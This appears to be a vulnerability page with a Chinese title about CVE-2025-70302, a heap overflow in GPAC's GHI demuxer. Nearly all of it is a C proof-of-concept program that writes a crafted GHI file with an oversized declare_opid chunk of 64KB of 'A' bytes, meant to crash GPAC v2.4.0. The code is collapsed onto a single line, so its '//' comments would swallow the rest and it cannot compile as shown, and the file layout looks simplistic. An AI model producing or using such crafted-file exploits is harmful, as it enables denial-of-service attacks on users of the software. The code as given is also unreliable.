CVE-2025-70302 GPAC ghi_dmx_declare_opid_bin函数堆溢出漏洞导致拒绝服务

/* CVE-2025-70302 PoC - GPAC ghi_dmx_declare_opid_bin() Heap Overflow This PoC demonstrates a heap overflow vulnerability in GPAC v2.4.0's GHI demuxer when processing crafted input files. Usage: Generate a malicious GHI file and open with GPAC */ #include <stdio.h> #include <stdlib.h> #include <string.h> // GHI file format structures typedef struct { char magic[4]; // 'GHI\x00' uint32_t version; uint32_t flags; } ghi_header_t; typedef struct { uint32_t type; // 0x01 for declare_opid uint32_t data_len; } ghi_chunk_header_t; // Generate malicious GHI file with oversized opid data void generate_poc(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("[-] Failed to create file\n"); return; } // GHI header ghi_header_t header; memcpy(header.magic, "GHI\x00", 4); header.version = 1; header.flags = 0; fwrite(&header, sizeof(header), 1, fp); // Malicious chunk - declare_opid with overflow data ghi_chunk_header_t chunk; chunk.type = 0x01; // declare_opid // Overflow size - causes heap buffer overflow size_t overflow_size = 0x10000; // 64KB overflow chunk.data_len = overflow_size; fwrite(&chunk, sizeof(chunk), 1, fp); // Write overflow data char* overflow_data = malloc(overflow_size); memset(overflow_data, 0x41, overflow_size); // Fill with 'A' fwrite(overflow_data, 1, overflow_size, fp); free(overflow_data); fclose(fp); printf("[+] PoC file created: %s\n", filename); printf("[+] Overflow size: %zu bytes\n", overflow_size); } int main(int argc, char* argv[]) { const char* output = argc > 1 ? argv[1] : "poc.ghi"; printf("[=] CVE-2025-70302 GPAC Heap Overflow PoC Generator\n"); generate_poc(output); return 0; }